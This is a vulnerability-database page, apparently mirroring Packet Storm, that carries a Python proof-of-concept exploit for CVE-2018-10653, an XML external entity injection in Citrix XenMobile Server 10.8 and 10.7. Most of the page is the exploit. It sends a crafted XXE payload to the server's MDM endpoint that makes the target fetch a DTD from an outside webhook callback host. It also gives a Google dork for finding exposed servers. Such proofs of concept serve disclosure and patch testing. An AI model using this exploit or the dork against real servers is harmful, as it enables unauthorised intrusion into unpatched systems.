Lucene search
K

Citrix XenMobile Server 10.8 XML Injection

🗓️ 22 Jan 2020 00:00:00Reported by Jonas LejonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 165 Views

Citrix XenMobile Server 10.8 XML Injection Exploi

Related
Code
`# Exploit Title: Citrix XenMobile Server 10.8 - XML External Entity Injection  
# Google Dork: inurl:zdm logon  
# Date: 2019-11-28  
# Exploit Author: Jonas Lejon  
# Vendor Homepage: https://www.citrix.com  
# Software Link:  
# Version: XenMobile Server 10.8 before RP2 and 10.7 before RP3  
# Tested on: XenMobile  
# CVE : CVE-2018-10653  
  
#!/usr/bin/python3  
##  
## PoC exploit test for the security vulnerability CVE-2018-10653 in  
XenMobile Server 10.8 before RP2 and 10.7 before RP3  
##  
## This PoC was written by Jonas Lejon 2019-11-28  
<[email protected]> https://triop.se  
## Reported to Citrix 2017-10, patch released 2018-05  
##  
  
import requests  
import sys  
from pprint import pprint  
import uuid  
  
# Surf to https://webhook.site and copy/paste the URL below. Used for  
XXE callback  
WEBHOOK = "https://webhook.site/310d8cd9-ebd3-xxx-xxxx-xxxxxx/"  
  
id = str(uuid.uuid1())  
  
xml = '''<?xml version="1.0" encoding="UTF-8"  
standalone='no'?><!DOCTYPE plist [<!ENTITY % j00t9 SYSTEM "''' +  
WEBHOOK + id + '''/test.dtd">%j00t9; ]>'''  
  
print(id)  
  
response = requests.put(sys.argv[1] + '/zdm/ios/mdm', verify=False,  
headers=  
{'User-Agent': 'MDM/1.0',  
'Connection': 'close',  
'Content-Type': 'application/x-apple-aspen-mdm'},  
data=xml,stream=True  
)  
print(response.content)  
print(response.text)  
pprint(response)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation